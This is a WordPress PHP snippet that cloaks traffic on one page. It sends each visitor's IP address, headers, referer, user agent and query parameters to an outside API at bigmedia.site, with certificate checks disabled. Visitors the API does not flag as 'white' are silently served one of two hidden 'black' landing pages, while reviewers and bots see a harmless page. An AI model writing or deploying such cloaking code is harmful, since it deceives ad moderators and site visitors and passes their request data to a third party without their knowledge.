function myscript() {
$current_page_ID = get_queried_object_id();
if ($current_page_ID == 38) {
$postFields = array();
$postFields["ip"] = @$_SERVER["HTTP_CF_CONNECTING_IP"]? @$_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER["REMOTE_ADDR"];
$postFields["domain"] = $_SERVER["HTTP_HOST"];
$postFields["referer"] = @$_SERVER["HTTP_REFERER"];
$postFields["user_agent"] = $_SERVER["HTTP_USER_AGENT"];
$postFields["headers"] = json_encode(apache_request_headers());
// $post["land"] = 1; //раскомментировать на в индексном файле лендинга
if($_GET)foreach($_GET as $key => $value) $_SESSION[$key] = $value;
$postFields["utm"] = json_encode($_SESSION);
$curl = curl_init("https://bigmedia.site/api/check_ip");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4 );
curl_setopt($curl, CURLOPT_ENCODING, "");
curl_setopt($curl, CURLOPT_TIMEOUT, 5);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postFields);
$json_reqest = curl_exec($curl);
curl_close($curl);
$api_reqest = json_decode($json_reqest);
if($api_reqest)foreach($api_reqest as $key => $value) $_SESSION[$key] = $value;
if(!@$api_reqest || @$api_reqest->white_link || @$api_reqest->result == 0){
}else{
$blacks = ['black/index.php', 'black2/index.php'];
$count = count($blacks) - 1;
$rand = rand(0 , $count);
require_once($blacks[$rand]);
die;
}
// start custom code wp function
}
else{
return;
}
}
add_action( "template_redirect", "myscript" );
function register_my_session()
{
if( !session_id() )
{
session_start();
}
}
add_action('init', 'register_my_session');